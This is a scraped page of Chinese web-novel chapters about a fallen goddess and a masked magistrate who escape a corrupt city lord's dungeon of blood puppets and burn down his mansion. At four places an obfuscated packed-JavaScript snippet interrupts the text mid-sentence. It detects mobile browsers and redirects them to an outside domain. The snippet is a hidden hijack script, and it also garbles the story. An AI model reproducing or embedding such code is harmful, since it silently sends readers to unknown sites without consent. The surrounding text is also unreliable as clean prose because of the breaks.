那声音轻,像羽毛挠过。不知道慕枝砚又有什么要说的,沈厌只好走到车帘前,看她挑了半边,脸隐在帘后,谨慎地问:“你走近些呀,我想问你……你会易容吗?” “不会。” “哎!你别走!”慕枝砚拨开帘子叫住他,“你做什么!” “你做什么?” 沈厌觉得还不如他一个人走算了,这姑娘吃他的穿他的用他的,一路上睡得比谁都沉。 慕枝砚是不知道他心里想的,只当这主阴晴不定,好声好气地哄着他说:“那你帮我买个面具呗。” “你不觉得我现在像个做工的么……帮我一下情有可原吧?” 是啊,掉到人间这处也就算了,一路颠簸背负重任,可不就是给他做工的么。 说着,她往湖边那通缉令一努嘴,还生怕人看见,立刻缩回马车里。 顺着慕枝砚眨眼睛动嘴巴的方向看去,沈厌才见到那张通缉令。 看样子,通缉令挂在这里有些时日了,前不久应该还被雨淋湿过,纸张一角都是破的。最下方赫然写着她的名字,指控得明显,就是脸画得没有本人好看,过于死板了。 ...... 慕枝砚听外面人离开了,这才放下心。 她坐回马车里,案前还放着一盏茶,似乎是昨日的,早就凉掉了。慕枝砚盯着清亮的茶汤,想到易容。 对于神仙来说,事物繁杂,易容是再平常不过的事,而此番到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414526|184692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人间,她却连最起码的易容术都丢了。 想回去喝酒作诗,想和酒酿坊的小童子斗嘴,想她养在天庭的花花草草。虽然她住所里的那些花根本养不活,多数都是枯死了。 慕枝砚慢慢趴在案上。 车帘外熙熙攘攘,这是一个不属于她的世界,阴差阳错间,她在这里留下了姓名,当然,是以难以启齿的方式。因为长生草,她与人间有了牵连,于是就一错再错,从密林,到鬼市,再到楚云间。 可她仍然不属于这里。 人世间的花开花落,月升月沉,都本不是她所沾染的。 一种莫名的、无所归属的情感在内心涌荡。她很久没有这样的感觉了,上一次,还是刚飞升到天庭那会儿。 人家说她是天庭的花蝴蝶,天下人谁不识。结友诸多,玩闹嬉笑,都是用来形容她的。但估计只有慕枝砚自己清楚,那时很多个夜晚,都是数着花草度日的。 她爱热闹,不受拘束,喜欢檐下系铃听响,喜欢外出游历。 她也孤独,往来仙友众多,却没有几位能走近内心的,志同道合多聊上几句的。 如今想来,那些花草多半是她聊死的吧。 才不是她养死的。 …… 再睁眼是被沈厌吵醒的。那人手上拎着东西,叩着马车,慕枝砚还是露出半张脸,刚见了就皱眉问道:“你就不能挑个好看一点的?” 青面獠牙,鬼似的,让她怎么见人。 沈厌半句话都没说,又去了湖边。 那头小摊上摆着各样小玩意,卖伞、面具、发簪,姑娘在伞下遮阳,见他折返,还以为是哪里出了差错。 她放下手上的物什迎上前,就见那戴着讲究面具的公子,把摊上的所有面具都拿了一个,手中都要摆不下了,然后丢下钱潇洒走了。 直走到人影都看不见了,姑娘还在原地纳闷,一天戴一样么,这也太讲究了。 慕枝砚只听“咚咚”车壁响,沈厌左右手各绑了数张,牵线木偶似的,盯着她要她挑。这回别说青的红的白的,就是彩的都有,还有好几个。 “这个难看,活像骷髅,笑不笑哭不哭的,不行。” “这个更难看,也太有年岁了吧,上面都什么奇奇怪怪的纹路。” 她倒是正正经经认真挑上了。终于挑出来个能看的,慕枝砚嘻嘻赔着笑脸,拿了个红纹白底狐狸样的往脸上罩。 “多谢啦。不过你们这边也忒小气了,长生草么,竟从鬼市追我到楚云间。等我找到了,能不能把那通缉令揭下来啊?” “你拿这么多面具,我又用不到,放在马车里吗?要不要我绑起来?不然旁人见了也太奇怪了,会以为你在做法。” 她嚷嚷着,戴好了,才敢完全挑开帘,凑上前问:“好看吗?” 这么一闹,时辰近晌午了。日光穿透云雾,细细洒下来,照得沈厌那张银色面具愈发光亮。他摸着腰间配剑,眼睛从狐狸面上一扫,开口。 “麻烦。” 5. 通缉令(2) “楚云间不愧是大城。” “就这么戴着面具,都没有人觉得奇怪。” 等店小二上菜的功夫,坐在桌边,慕枝砚也没停下那张嘴。她两手捧着自己的狐狸面具,那面具质地不错,尤其是狐狸眼睛的纹路,戴上去后,只露出人的眼睛,两边倒是勾勒出细细弯弯的火红线条。 她摸上额间菱花纹,眼睛滴溜溜一转,看到这家小店里人来人往。 正值正午,来吃饭的人很多。沈厌坐她对侧,和打量着不停乱动的慕枝砚不同,他反而显得规规矩矩。正襟危坐,依旧是倒了两盏茶,一盏放手边,另一盏沈厌慢慢饮下。 等慕枝砚看够了,才回过身来坐好,看到桌上沈厌手边那盏茶,不经意地挪了挪,终于给挪回自己手边,然后喝了。 店外车马喧哗,恍惚间,竟听到凄惨的一声叫嚷。 慕枝砚放下茶具,和沈厌对视。果不其然,她没有听错,随即,两人一并向声源处寻去。 若说寻,还真用不上,因为那道声音的主人就在店外不远。 那是位上了年纪的老人,他就地而坐,身前摆着缺了口的小碗。抬头时,可见这人形销骨立,衣衫褴褛,残破不堪的身体犹如风中残烛,勉强卷在破衣烂衫里。头发野草一般枯,眼窝深陷,伸出的手指上都是伤痕累累。 “这是怎么了?” 慕枝砚问身边人。人堆里有一个大娘,掩着口鼻低声说:“哎呦,做的孽,说是从柳州来的么......儿子死了,来找女儿,女儿下落又不明......” “可不是,这不就是作孽么。” 后面又凑上来一个人窃窃私语。 摸清了来龙去脉,慕枝砚往身后看了一眼。沈厌站在她身后,盯着她面具下的眼睛,说:“想帮就帮。” 慕枝砚眼睛太突出了,看了,就知道她想说什么,心里想的又是什么。 “那你能不能叫他们把我们的菜打包上。”慕枝砚说,“我还饿着呢。” “......行。” 沈厌答应了,准备回去,身上被慕枝砚指头一勾。慕枝砚拉着他衣裳一角,说:“你给我留点钱呗。” 那张狐狸面具用来贴合她真是好极了,她眼尾往上一挑,可不就是活脱脱一只狐狸么。随后,慕枝砚松开他,两只手放一起,并排摊开,等着他拿钱。 ...... 钱是给了的,菜是拎了的,人也是他扶了的。 慕枝砚拿的钱就是给老人的,放在荷包里,老人起身要答谢,被她拦下来。 听话中意思,老人姓辛,老年得两个孩子,儿子早早去了,此番来楚云间是为了找寻女儿,谁知女儿几日前出了趟门,就再未回来过。 老人家一路上絮絮叨叨,声音小,沈厌听不清,倒是慕枝砚时不时附和。 辛家很小,低矮破旧,屋里似乎终年不见阳光。墙皮早脱落,又潮湿,和慕枝砚当日所在的地牢相似。三人到屋里,先是让老人坐下,而后简单打扫了一番,又和他共进了餐食。 等出门时,天已经黑了。 进出过道窄小,杂草横生。沈厌走在前面,小门上裂缝密密麻麻,不用人推,风一吹就开了,透出一股阴森的味道。 “独自一人也是可怜,若有缘能找到辛姑娘,也是为自己添福的好事。” 慕枝砚抱着肩膀,心里暗暗自语,早知道将车上披风取下来好了。前不久那位被抓的楼姑娘也不知怎么样,听说里面的人都跑走了,可出去后能否找到家人还是个问题。 这么想着,她一哆嗦,盯着身前遮挡视线的那人,忽地说:“沈厌,你放的她们。” 沈厌正探路,狭窄不好走,冷不丁听她这么一说,根本没反应过来。 “你说谁?” 慕枝砚继续道:“不然,地牢的门怎么会突然开,那些姑娘怎么会突然逃走,你的斧子又怎么会突然消失。” 那日下方来报,说是树皮上都有着层层裂纹,还是红如火焰般的。慕枝砚当时就想起,密密箭雨中,她眼前被一道“火光”照亮,紧接着一把斧子劈到树前。 说是她偷了长生草,沈厌却始终没对她做什么。就算是那把剑——慕枝砚偷偷瞄去,也是阴阳兽的手笔,而且加上有长生草的庇佑,她根本没伤到分毫。 “沈厌。” 他守护人间,无法阻止这样的行为发生,却从未沾染一丝一缕,暗地里不知道救济过多少人。他救人,今日帮老人,也没有半点不情愿。 戴着面具的时候,他看上去冷漠无情。可有谁知,那面具之下,又是何等神色。 慕枝砚叫他,没等到回复,想再说两句,就听他说:“你明白就行了。” 她一笑。那晚,本以为是有人来救她,而后见到“判”字,她心都凉了半截。不过现在看来,好像确实如此。 ...... 沈厌领着她原路返回。 夜色深,道路两侧店铺打烊关门,只有檐下挂着的灯还亮。 这会儿无风,慕枝砚走久了身上便不再冷。这条路太长,只有两个人,时间一久,不说话倒有些气氛怪异。 慕枝砚腰间挂着老人送的保平安的小葫芦,她正上手摸,忽觉颈后一凉! “谁!” 莫名而起的风声。 慕枝砚回首,只见檐上站着几个黑衣人,掩住了脸,只能见到露出的眼睛。 “来者何人?”沈厌问道。 那伙黑衣人并未回答,反而问道:“你们和这家人认识?” 他们似乎也并不想寻求答案,问过,就从檐上纵身跃下,“唰唰”几声,黑影落地,竟是把路面上两人围在正中央。 慕枝砚和沈厌背靠背。此刻,慕枝砚再迟钝,也能察觉到来者不善。只可惜她现在并无法力,和凡人无异,而身边这个,刚刚被收回掌判官的身份,没准还不如她。 她不敢呼唤沈厌的名字,身体愈发往后缩,直退到和沈厌撞上。 “哎,你能打过他们吗?” 沈厌没作答。 他垂首,只思虑片刻,便问道:“你们要抓的是辛姑娘?” 黑衣人脸色一变:“多话!” 话音未落,手上利器袭来! 劈山裂石般的一击,直劈向两人中间,慕枝砚立即躲闪错开。 刀刃滑过脸颊发丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414527|184692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,慕枝砚刚堪堪站住脚,又见眼前烟雾缭绕。等她明白过来想捂住口鼻时,已经暂无意识,昏迷过去了。 ** 又是新的一夜。 又是新的牢房。 …… 房屋内空间虽不大,但容纳两个人足够了。糊窗的纸破了一处,风从那个缺口刮进来,慕枝砚就是被刮醒的。 她苏醒过来,第一时间解了绑手的麻绳。或许是那帮人小瞧他们,绑得并不紧,慕枝砚揉着手腕,在房屋内踱步。 屋子里没有烛火,倒是有一张木案,还摆着笔墨纸张。门是紧锁的,看样子,是打定他俩松了绳索也推不开门。 等着也是等着,慕枝砚干脆往案前一坐,梳理起线索来。 她铺开纸,思考良久。现在要做的是找到长生草,再寻找自己的法力灵力。如此想着,提笔,她在纸上写道—— 重昭九年活命条例。 不对。 慕枝砚摇头,伸手将纸揉了。 人间度日三大准则如下: 第一,隐藏自己的神仙身份。 第二,找回丢失的法力。 第三…… 思索之余,慕枝砚莫名想到过去的事。 若说落在人间,也有数日了,却仍不见天道发出半句法令。往常执行,通常都有明确的目标,这次实在意外。 她想到曾经在人间的一晚。 那晚似乎是什么仙友的飞升日。神仙大多都是人间而来,飞升后要办宴席的,慕枝砚当天喝醉了,趁着周边都去找飞升的仙友说话,兀自下凡,找了某处屋檐半躺。 那晚月色实在好看,她拎着千金不换的美酒佳肴,双手撑在身后,抬头望月。云层若烟,丝丝缕缕。 似有仙友同她一般,从宴席上落逃而来。 他们谈到天道。对话早已忘却,慕枝砚只依稀记得,说到一句抹杀。 早年间,天道是会抹杀神仙的。具体为什么做,怎么做,做了结果如何,是否真的彻彻底底消失,慕枝砚全都不记得。 她捶了自己的脑袋,往纸上撒气乱画。 怎么当时就不多听一些! 天道这么久不发法令,莫不是她被抹杀了吧! ...... 这一敲一画,动静太大,把绑在屋子里的沈厌吵醒了。 沈厌的绳索早被慕枝砚解开。他起身,站在原地,眼神飘到慕枝砚身上,好像是盯着她看很久了。 慕枝砚手上“准则”还没写完,被盯得有点发愣。她往前缩缩,企图挡住案上的纸笔,故作自然地问:“我刚看了,别的东西都被收走了,但是这个饼没有。” 沈厌还是不动。 她一抖,把晚上打包没吃完的饼丢给他,说:“你饿了么?要不,将就一下?” 沈厌的眼睛里映着她。 窗纸开的口子越来越大。月光幽幽,倾洒进独窗,照到那张银色面具上。 慕枝砚几乎以为他发现自己的异常了,脑海中飞速运转如何蒙混过关,可巧窗外风那么一吹,惊得她一身冷汗。 “沈厌,我……” “我是不是在哪见过你。” 6. 通缉令(3) 沈厌是某日突然察觉不对劲的。 他终日佩戴的长剑名为碎月,以剑影如皎皎月色、流光若碎月得名。可是那日拔剑,碎月却收敛了光芒,仿佛入睡了一般。 再者,他的记忆一日不如一日。沈厌坐在窗前回想,往事云烟,竟真的和烟一样飘走,他来自何处,该去何处,除却自己的姓名,一概不知了。 旁人叫他,掌判官。 可他掌什么,判什么? 沈厌偶尔会在梦里,看见一片青青竹林,有时变作人间盛世。可没有人能为他解答。 大约半个月后,他去了一次寺庙。 他们说,这里解签很灵。 那是位白发长须的老者,对着卦象看了很久,最后话中有话,只说会有转机。他还提醒沈厌,说这一生刀光剑影,甚至有些还是他自找的,无法避免,无法躲藏。 这样的日子一直持续到人来报,有长生草的下落。沈厌随众人前去,在暗暗密林中瞥见一抹身影,而后,这人似凭空闯入他的生活,话多,动作也多。有时,她趴在案前沉思,沈厌会有种恍惚的感觉,如梦境,朦朦胧胧。 这晚也如此。 明月高悬,月色似水,缓缓从空中流淌进小窗。 沈厌醒过来时,就看见慕枝砚提笔写字,仅给他留下一个背影。那背影,自然也落在月色里,影影卓卓,沈厌没出声打扰,只是默默看着,看着地上的影子,看着眼前的人。 他只是在某个瞬间,眼前闪过一个似曾相识的夜晚,才忍不住发问,我是不是在哪里见过你。 ** 慕枝砚愣住了。 字迹未干的纸张被她卷起藏在袖中,她回身,好半天,才反驳道:“我们何时见过?” 她下意识脱口而出:“我要是见过你还了得?” 沈厌蹙眉:“为何?” 没回应,慕枝砚慢慢蹭回沈厌身边。 就按着咱俩这个关系来看,若真见过,你还不得拿斧子劈死我。 ...... 风一阵一阵,吹得窗纸哀嚎般。沉默良久,慕枝砚忽地说:“没有为何。你伸手。” 沈厌或许是还念着那点似曾相识,即使不明所以,还是照做。他靠在墙边坐,伸出左手来,垂首盯着慕枝砚的小动作。 许久不用清心令。慕枝砚将一手搭在他的手腕处,闭上眼睛,默念口诀。 她主管世间欢喜之事,这是从前她管用的,也是最简单的一个法令,用来探寻来者喜缘的。只是后来她升至缘灵神,在天庭有了“缘”字一号,便不再需要亲自号令,只用牵丝红线,一探便知。 一盏茶的时间,未果。 慕枝砚叹口气,将手收回。法力还是没有回转恢复的现象。 “怎么。”沈厌盯着她落寞的神色,“可是有不好的事发生。” 他语气极为平淡,脸色都未变半分,像是习惯了。 “怎么会!”慕枝砚立即道,“我叹气是因恰恰是因为有好事发生!” “何以见得?” “我算出不出三日,我们就能出着小屋,找到幕后真凶,找回长生草!” 她说谎真是太明显了。眼睛是看过来的,眼睛里却不像真正高兴那样亮,虽然是笑着的,半躲闪的细微之处提醒着沈厌,她心上想的可不是说出来的那些。 未说破,沈厌起身,伸手碰了碰窗框,道:“何必三日,若想出去,即刻就行。” “你,你要强拆啊?”慕枝砚惊讶,“先说好我不干,我饿了,我去那边吃饼。” 她忙摆手,缩至那案边,解了袋子取出饼来,还不忘分出一块留给他。然后,真就啃起来了。 沈厌:“......你坐在那就行。” 这屋子有年头,梁柱窗框必然会有松动之处。手上要是有工具,开个门撬个窗肯定不是难事,可惜斧子落在密林,碎月剑还被夺走,沈厌站在门前没找到合适的突破口,就转向窗户。 窗外忽传来脚步声。 沈厌贴近,只觉来者声音愈近,忙快步到慕枝砚身前,一把拉过她到地上。 “你干什么......” 慕枝砚还塞着那口饼,含糊不清,听见声音后硬生生咽了下去。她忍着咳嗽,手快速捡了地上的绳子,几下子就把两人的手重新“绑”了起来。眼睛一闭,她和沈厌维持刚进来昏迷的模样。 门外有锁,钥匙声清脆响起。 慕枝砚偷偷瞄见,还是两个黑衣人,武装得严严实实。人快进来了,她又闭上眼睛,慌张之余,还往沈厌那边倒了倒。 沈厌没动。这时候慕枝砚真羡慕他那副面具。 凭什么就摘她的,是喜欢狐狸么。戴着面具,也不必像她这样苦苦隐藏神情,等下穿帮露馅了可怎么好。 这样想着,慕枝砚又往那边倒,重量压在沈厌身上,底下偷偷踢他一脚。 “他们要带我们去哪?” “别说话。” “噢。” “快点,这两个人定不能放过。”其中一个黑衣人道,“城主有令,带到密室去,跟那些人一样。” 另外那个不说话,只一味将他们拖拽出去。慕枝砚觉得这个姿势实在太难受了,几乎是被拖着走的。好在,路途并不遥远,他们又开了道锁,下楼梯,进了密室。 将两人依旧放在地上,黑衣人在牢房前找钥匙。 慕枝砚睁开眼睛。 火把挂在墙壁,很好,又解锁一个地牢。 第三个了,只是与先前不同,她闻到空气里若有若无的血味。 黑衣人方才说,城主。城,楚阳城,楚云间,那城主就是掌管楚云间的人。 慕枝砚记得,这人姓郑,重昭九年身亡,具体原因没有详细记载,不想,一朝坠落人间,先后碰上阴阳兽、鬼市、楚云间这三大事。 郑城主做了何事?慕枝砚思索,他们被抓是因为前往辛姑娘的家,辛姑娘又莫名消失,莫非,是这城主抢占民女? 她侧首,见沈厌同样睁开眼睛。两人对视,不必多云就知晓对方所想,两三下解了绑在手上的绳索。 “人还没找到? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414528|184692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “逃得无影无踪。所幸,那个姓慕的不是找到了吗?通缉令可以收回来了。” “也是,那个姓慕的自年前就偷盗城间,真没想到今晚能自投罗网。” “你说谁偷盗城间?” 黑衣人回头,手上钥匙刚送进铁锁,眼见本该躺在地上的两人这会儿生龙活虎。尤其是慕枝砚,手上举着不知何时吹灭的火把,抬手,对着他俩的脑袋就是一棒! “竟敢说我坏话!我没做过的事也往我头上乱按。”慕枝砚气愤,踢向被敲晕的两人。 “我倒要见见那个什么城主,故弄玄虚。”她说着,手一转,将铁锁拧开,“我看他分明是做贼心虚!” 铁门吱呀推开,里头更是潮湿阴暗。沈厌从墙上卸下另一只火把,在前面举着探路。 “你说好端端的,堂堂一个城主,怎么会做这样的密室。” 楼梯窄窄,慕枝砚轻轻拽着沈厌的衣袖,直到完全下去才看清全貌。室内不大,映入眼帘的东西却大为人惊——刀剑自不必说,正中央是一张长桌,摆着几根沾血的长钉,最右边的草席上躺着一个人,面目全非。 慕枝砚脚步快,刚要上前去看。 “等等。” 沈厌一把拦下,发现那姑娘是未醒的,领着她慢慢走到草席前。 这时,慕枝砚才明白,那血味就是这人身上的。长发如云,面庞依稀可见是位姑娘,心口处扎着一枚长钉,血渗出,染红她白色的衣衫。 “太阴钉?” 慕枝砚震惊,在桌前又瞧过一遍,确认了才道:“传闻是神兽玉化后的骨髓做成,共十八枚太阴钉,分别扎在心口、手腕、腿骨等处,即可取血做傀。” 果真,那姑娘手腕和腿间的衣裳,也沾着血迹。 太阴钉花纹细碎,符文也是慕枝砚书上所见,如出一辙。传闻太阴钉往日与长钉无异。慕枝砚向那姑娘心口处瞧去,若是饱沾人血,太阴钉会变作夺目银色,细如银针,几个时辰后,中间掺杂红丝,血味也会变浓。 这是上古巫术,按道理来说是早早被销毁的。可人间,甚至还是盛世的楚云间,怎么会重现? 这人多半是救不回来了。那姑娘面色苍白,长钉已然是细针状态。人血流空后即为傀,面皮干枯,只会听从主人的号令,没有知觉没有神情。若是等她醒来...... 慕枝砚脑海间闪过两字。不妙。 “沈厌,我们快走!” “你记不记得那伙黑衣人?门外那两个只是侥幸,如果他们全都是傀的话......” 她不敢再多说。 慌不择路,慕枝砚跌跌撞撞,下楼梯险些摔倒。 密室墙壁的火把,先前被两个人拿在手中,此刻光线极暗。血味似乎变得浓烈,两人逃到外面,慕枝砚大口大口喘气,却没有停歇。 “这是那个城主的密室。傀没有生命,没有病痛,比人还要难对付。” 她躲着光亮,刚迈出两步,回身攥住沈厌的衣裳:“我们出来的时候,打晕的那两个人还在吗?” 7. 通缉令(4) 傀是能记得伤害过自己的人的,而且下次会面,必会比上次更加凶残。 两人都没有说话,慕枝砚在沉默中明白,摊上大事了。 什么世道! 人抓她就算了,污蔑她是盗贼也算了,还得来两个傀追杀她! 牢房里,那两只傀早不见影了。慕枝砚深吸口气,冷静,而后带着沈厌在大院落里穿梭。 若说这城主也真不怕人发觉。旁人抓捕犯人总会放置在自家外院,什么地道暗牢的,可这模样,竟像是私宅。 碧瓦朱檐,层楼叠榭。 大院落看上去是个四方形,长廊外小园内尽是各种花卉,池水、假山、鲤鱼,应有尽有。假山池边还建着一座九曲石桥,锦鲤在水内游,水上漂浮着夏末秋初,拢了花瓣的荷。 从牢房出来跑这么远,要顾及有光的地方,这可实在难。 檐下三步一铃五步一灯,不时有同样穿着黑衣的傀提灯行走。一个,两个,慕枝砚躲在柱后细细数着,这么多傀。 “太过分了。”她不敢太大声,只能对着沈厌抱怨,“有多少傀,就说明他害了多少活人。还是城主,一城之主行此勾当,可见这楚云间百姓的日子,多半也是不好过。” “富人富,穷人穷。”沈厌说。 几日前进城还是一片繁荣,可等走到客栈长街,路上乞儿缩在角落,衣衫不全的、吃不饱饭的、被驱赶的,比比皆是。 “你如何得知傀?” 似是想起什么,沈厌发问。慕枝砚撇嘴道:“你才想起来问我?” 沈厌并未说其他反驳的话,站在檐下,她的后方。慕枝砚手撑着柱子,往后瞧,便见被质问的那人哑口无言。 慕枝砚随口说:“从前在书上看来的。” 倒是那本书,慕枝砚自己也好奇,她并不是能耐着心看书的性子,比起坐在那里安安静静,不如下人间吃东西。她怎么会对书上的字这么清楚。 倒是身边这个,慕枝砚看去——穿着和傀一样颜色,长夜中难以分辨的衣裳,若说他想躲藏,也得先把面具藏起来才是。 慕枝砚想着,抖抖自己身上。那块饼还剩给沈厌留的半张,他不吃,慕枝砚就自己吃,边嚼边说:“下次你去锦绣坊给我也挑黑衣服好了。还有你这个面具,换一个不显眼的吧。” “不。”沈厌拒绝。 “为什么?”慕枝砚把饼撕成一条一条,问,“你这个晚上做事太明显。要不,你摘了也行,我领着路。” 摘了? 沈厌还真这样想过。他只是眼睛看不大清楚,又不是脸上有伤。只是自他苏醒后,记忆错乱开始,就再未摘过面具。 “你不同意,是不同意摘面具,还是买衣服?” 慕枝砚打破他的沉思,仰着脸凑近了问。 这人倚着门,身量高,头这么微微垂下,竟有种忧思伤感的味道了。 “都不。”沈厌果断回答。 这回饼是真吃完了,慕枝砚小声道:“怎么,我替你干活你还缺一件衣裳么。” 哪有人这么小气的,为了省钱坐一辆马车就算了,衣裳还不许她买黑色的。 这叫什么?神仙到了人间做短工,还要被克扣工钱呢。 工钱! 慕枝砚眼睛一亮:“沈厌,我有工钱么......” 她本是抱着柱子发呆的,想起这一茬,高兴转身。谁知她刚转身看见那人,沈厌就一拽手腕,把她拖进了身后的屋子。 门开关动静极小,慕枝砚把未说出口的后半句吞回去,捂上嘴听。 长廊外,有傀提灯经过,脚步声匆匆。 “比起钱,我倒觉得应该想想怎么出去。” 沈厌走两步,坐在屋内木梨椅上。 案上摆了烛火灯盏,他点上一盏,照亮这间屋子,然后举起行走。这间屋子像是书房,格外静谧。层层书架罗列,每层上都摆满了书籍,只是因为有先前傀的事,慕枝砚不觉得着城主是个读书人。 读书人,应当是心怀天下芸芸众生的。 “沈厌。”她同样举了一盏烛灯过来,“你看这里是干净的。” 书架古朴,每本书侧面或多或少都沾着灰尘。唯独慕枝砚看向的那本,书下干干净净,分外特殊了。她刚说完,手上忍不住轻轻碰了一下。 书架慢慢转动。最靠墙的那一层,转过后露出最里侧。那竟是一屋内置暗室,还未进去,光芒就从暗室里映出来。两人再次对视,毫无犹豫,走了进去。 暗室里的陈设和外面一样。书架相同,唯独架子上摆放的不再是书籍,而是金银。除去金银,一旁展柜放的是各式各样的珠宝赏玩,连灯都是鎏金缠丝的。 “这城主?” 慕枝砚惊讶,甚至说不完整话。早知道人间这么赚钱,她早来做工了。先前沈厌那几袋子就够她惊的了,这城主家居然存放这样多,数也数不完的钱! “多半是贪污所得。”沈厌放下手上灯盏,“先出去,我们再想办法。” “对,现在那傀必然在寻我们。” 说罢,两人不似方才打趣时,神情严峻起来,飞速逃出门。 ** 要不说凡人的脑袋就是不好用。 慕枝砚现在万分后悔相信沈厌躲在屋檐上。虽说她也是个习惯坐人屋檐上的神仙,好歹她是去喝酒的,也不做坏事。城主家活像迷宫,傀越来越多,躲不过,沈厌干脆领着她上了房檐。 她当时说什么来着? 真是好主意啊。 ...... 好主意个头啊,上上不去,下下不来的。 慕枝砚眼见黑衣人聚集,有些那黑衣如同黑羽,便知他们不是凡人之躯的她能对付的了的。 她问:“你那个,斧子呢。” “落在树林了。” 真行,你当时说得明白,若有仇家砍了就是。 斧子都没了,还砍呢。 “我有个提议。”慕枝砚说,“你打不过?” 沈厌看她。 “打不过就跑啊!” 她一拍沈厌的脑袋,二话不说,带着人在屋檐上飞奔。 作为缘灵神的时候,她也没少跑过。更别提前不久还在密林逃命过,一回生二回熟,慕枝砚这次跑得快多了。 人在檐上跑,傀在檐下追。 至少十个,慕枝砚跳上更高一层回身看——不是怎么又多了几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414529|184692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 转个弯的功夫,傀飞上了屋檐,慕枝砚在屋檐与地面来回穿梭,刚跳下来,眼前又被堵住,慕枝砚一脚踹倒小园内的花盆,泥土花瓣全掀起来,一时间尘土飞扬,趁着这段空隙再次迈开腿。 “你得赔我衣服!” 风刮得要打人,这时候就算沈厌回复她,也听不清了。慕枝砚见他在不远处,她几步借着踩架子的力度,往上用力一跳,刚好沈厌伸手过来接着她,两人再次在屋檐上跑起来。 “你等等!” 沈厌刚抬脚踢落傀,便听慕枝砚大声喊他。傀从四面八方围过来,他没空去搭理,头也不回地道:“什么事?” “沈厌,这下面是小厨房。” 郑城主府上今晚当真热闹。 先是两大被捕的逃犯丢了,其中一个还是城内通缉令上的人物,光明正大地在他家宝贝屋檐上夜跑,还踹坏城主心爱的、废了苦劲养的花朵。 而后,从小厨房开始,连绵的火龙燃烧,夜里火光一片,傀先是忙着追人,人没追上,反倒被莫名烧起来的火灼伤。 五步一灯的长廊,此时灯笼尽数燃起。傀在檐下推搡叫嚷,有泼水泼到同伴身上的,叫骂声和熊熊烈火一样,噼里啪啦地烧起来。 半柱香前,慕枝砚滑进厨房。 还多亏了在沈厌家做饭的经验,慕枝砚顺利点了火,叫沈厌摘了屋外纸灯笼。 纸在手上灼灼燃烧,慕枝砚眼睛里渐渐映着火红。 “你得赔我衣服,还得赔我一餐饭。” “衣裳就算了,饭是?” 白他一眼,慕枝砚继续道:“那饼都硬了,我生生啃下去的,也就是我好牙口。在你家的时候,我怕你只食清淡,连盐都不敢多放。” “是么。” 回想那些时日,汤也不算清淡。沈厌没戳破,只默默记下来。 两人从窗翻出去,挑了灯笼,慕枝砚道:“可惜你的剑不在身上,不然,我定要用剑把这串连灯笼的绳子都挑断!让这城主亲眼看着,他的金银私库是怎么没的!” 她拿厨房的刀磨断绳索。 风像脱缰的野马,卷了火就去,纸灯烈焰,以雷霆不及掩耳之势飞速蔓延。断了的绳陆续掉下,带着悬挂的灯笼纷纷砸下,轰然声似烈兽终于挣脱了束缚。 慕枝砚眼见火光大势,心上竟也大好。 她恍惚觉得,这才是她缘灵神的作风,有仇当场就得报,留到事后,她只能变本加厉还回去了。 她跑了许久,发丝都乱了,如今经狂风一吹,更是不得体到没边没沿。在屋檐上这么一站,院落里看得清清楚楚,可不是还回去了。 终于不用再躲。 慕枝砚回头,突然问上一句:“你的剑被他夺走了?我给你抢回来!” “剑应当是有名字的,若是它有灵气,叫上它,它会应你。”她想起天庭法器一说,迎着风问,“你的剑可有名字么?” 上扬的唇角,飞舞的发丝,丝毫不收敛自己轻狂的模样,沈厌看尽了她放肆的那一面。 他没有移开视线,答道:“有的,叫碎月。打碎的月。” 从前还有个极好的寓意。 碎月剑,岁月间。 8. 通缉令(5) 若提及到碎月剑的来历,还要说到沈厌的师父。 那是沈厌回想起的,为数不多的记忆之一。他的家人,他的身世,似乎都隐在层层迷雾之后,倒是师父此人,比起父亲母亲,与他的关系更亲厚。 他记得那是位性情随和,极有趣的老人家。虽说是老人,看上去却年轻,身体康健得很。某日,沈厌在竹林中练剑,师父叫他名字,然后递给他这把碎月剑。 那时碎月是没有名字的,师父说剑名要由主人来起。 